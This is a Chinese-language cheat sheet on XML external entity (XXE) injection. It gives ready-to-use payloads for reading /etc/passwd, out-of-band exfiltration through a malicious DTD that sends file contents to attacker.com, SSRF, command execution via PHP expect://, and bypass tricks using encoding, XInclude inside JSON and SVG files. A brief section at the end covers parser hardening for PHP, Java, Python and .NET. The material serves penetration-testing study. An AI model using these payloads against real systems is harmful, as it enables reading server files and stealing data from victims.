XML注入总结
说明
就是服务器配置不当导致解析恶意的XML并执行了恶意操作
分类说明
XXE读文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>
- 解释:
<!DOCTYPE foo [...]>
:定义文档类型定义 (DTD)。<!ENTITY xxe SYSTEM "file:///etc/passwd">
:定义一个名为xxe
的外部实体,其内容来自file://
协议指定的路径(此处为/etc/passwd
)。&xxe;
:在 XML 中引用该实体,处理器会将其替换为文件内容,并在响应中返回。
带外数据外泄 (OOB-XXE)
当目标应用程序没有直接返回文件内容时,可以通过外带通道(Out-of-Band)将数据发送到攻击者控制的服务器。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfil;</root>
evil.dtd (存放在 http://attacker.com/):
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY exfil SYSTEM 'http://attacker.com/steal?data=%data;'>">
%param;
- 解释:
- 内部实体
%dtd;
会加载远程的evil.dtd
。 - 远程 DTD 定义一个参数实体
%data;
,其内容是目标文件。 - 再定义一个参数实体
%param;
,它包含一个实体&exfil;
,该实体的 URL 中包含了%data;
(即文件内容)。 - 最终,
&exfil;
被引用,会向攻击者的服务器发起一个带有文件内容的 HTTP 请求。
- 内部实体
SSRF
利用 XXE 让服务器发起内部网络请求,探测内网资源。
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin/">
特殊情况下RCE
在一些非常特定的环境下(如 PHP 的 expect://
包装器被启用时),XXE 可能导致远程代码执行
条件:
-
PHP 服务器必须安装并启用了
expect
扩展。需要手动编译安装或通过包管理器(如
apt-get install php-expect
)安装,并在php.ini
中启用extension=expect
。 -
启用
allow_url_include
选项(在php.ini
中)。因为攻击通常通过
include()
、file_get_contents()
等文件包含函数来触发。
常见payload:
利用包装器本身的功能,通过 include()
或 file_get_contents()
函数来回显输出。
代码存在:
<?php echo file_get_contents($_GET['file']); ?>
payload:
http://vulnerable-site.com/vuln.php?file=expect://ls+-la+/home
代码:
<?php include($_GET['include_file']); ?>
payload:
http://vulnerable-site.com/vuln.php?include_file=expect://cat+/etc/passwd
常见协议总结
通用
协议 | 格式示例 | 用途说明 | 适用环境 |
---|---|---|---|
file:// |
file:///etc/passwd |
读取服务器本地文件 | 所有 |
http:// |
http://attacker.com/ |
发起 HTTP 请求(SSRF) | 所有 |
ftp:// |
ftp://attacker.com/file |
通过 FTP 读取文件或外泄数据 | 多数 |
https:// |
https://internal.api/data |
发起 HTTPS 请求 | 多数 |
php://filter |
php://filter/convert.base64-encode/resource=index.php |
读取 PHP 文件并编码输出(避免解析) | PHP |
data:// |
data://text/plain;base64,SSBsb3ZlIFBIUAo= |
在 URI 中直接嵌入数据 | PHP (需 allow_url_include=On ) |
expect:// |
expect://id |
执行系统命令 | PHP (需启用 expect 扩展) |
gopher:// |
gopher://attacker.com:80/_GET%20/index HTTP/1.1 |
发起自定义协议请求(强大SSRF) | 多数 (需支持) |
jar:// |
jar:file:///path/to/archive.zip!/file.txt |
读取 ZIP/JAR 包中的文件 | Java |
netdoc:// |
netdoc:///etc/passwd |
类似 file:// ,读取文件 |
Java |
特有
PHP 环境特有
php://filter
:用于读取文件并进行过滤(如 Base64 编码)。php://input
:允许访问原始 POST 数据(需allow_url_include=On
)。expect://
:执行系统命令(需安装并启用expect
扩展)。data://
:嵌入数据 URI(需allow_url_include=On
)。
Java 环境特有
jar://
:访问 JAR/ZIP 文件中的条目。netdoc://
:替代file://
的协议,用于读取文件。mailto://
:发送邮件(较少用)。
.NET 环境特有
netfx://
:.NET 特定协议(较少在 XXE 中利用)。
绕过
-
编码:URL/XML实体编码
XML实体:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!DOCTYPE foo [ <!ENTITY % aname "FILE:////etc/passwd"> <!ENTITY % cname "<!ENTITY % dtd SYSTEM '%aname;'>"> %cname; %dtd; ]>
- 替换file协议为上面的其他协议
-
带外 (Out-of-Band) 数据泄露绕过
攻击流程分解:
- 攻击者在服务器上托管一个恶意的 DTD 文件 (
evil.dtd
)。 - 受害者服务器接收到一个 XML,该 XML 引用了攻击者的外部 DTD。
- 受害者服务器的解析器请求并解析
evil.dtd
。 evil.dtd
中的指令被执行,它会读取服务器上的本地文件,并将文件内容作为 URL 的一部分,向攻击者的另一台服务器(监听服务器)发起请求。- 攻击者在监听服务器的日志中看到请求,从而获得文件内容。
Payload 实例:
第 1 步:攻击者提交的初始 XML 负载 这个负载告诉受害者服务器去加载并解析
http://attacker.com/evil.dtd
。<?xml version="1.0" ?> <!DOCTYPE r [ <!ENTITY % sp SYSTEM "http://attacker.com/evil.dtd"> %sp; ]> <r>&exfil;</r>
第 2 步:托管在
attacker.com
上的evil.dtd
文件<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://listener.attacker.com/?content=%file;'>"> %eval;
工作原理解释:
- 受害者服务器解析初始 XML,发现参数实体
%sp
,于是请求http://attacker.com/evil.dtd
。 - 解析器开始解析
evil.dtd
。 - 它读取
%file
的定义,于是读取本地/etc/hostname
文件,并将其内容(例如victim-server-name
)赋值给%file
。 - 接着,它读取
%eval
的定义。%eval
的内容是一段字符串,这段字符串本身又是一个实体定义。注意这里的%
是%
的 HTML 实体编码,这是为了防止解析器在这一步就尝试解析%exfil
。 - 最后,
%eval;
被执行。此时,%file
已经被替换为victim-server-name
,所以%eval
的内容变成了:<!ENTITY % exfil SYSTEM 'http://listener.attacker.com/?content=victim-server-name'>
- 这个新构造出来的实体定义被解析器执行,它会向攻击者的监听服务器发起一个 HTTP 请求。
- 攻击者查看
listener.attacker.com
的 Web 日志,看到一条类似GET /?content=victim-server-name HTTP/1.1
的记录,成功窃取了主机名。
- 攻击者在服务器上托管一个恶意的 DTD 文件 (
-
绕过 Content-Type 限制 (例如 JSON API) 如果服务器支持
XInclude
规范,可以在一个看似合法的 JSON 值中嵌入一个 XInclude 负载。{ "user_id": 123, "metadata": { "xi:include": { "@xmlns:xi": "http://www.w3.org/2001/XInclude", "@parse": "text", "@href": "file:///etc/passwd" } } }
-
使用非典型的XML格式
SVG:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]> <text x="0" y="20" font-size="20">&xxe;</text> </svg>
防御
- 禁用外部实体
- PHP:
libxml_disable_entity_loader(true);
-
Java: 设置
DocumentBuilderFactory
的属性。factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 或 factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- Python (lxml): 使用
resolve_entities=False
参数。 - .NET: 设置
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;
- PHP:
- 对输入的XML使用白名单校验
- 增加WAF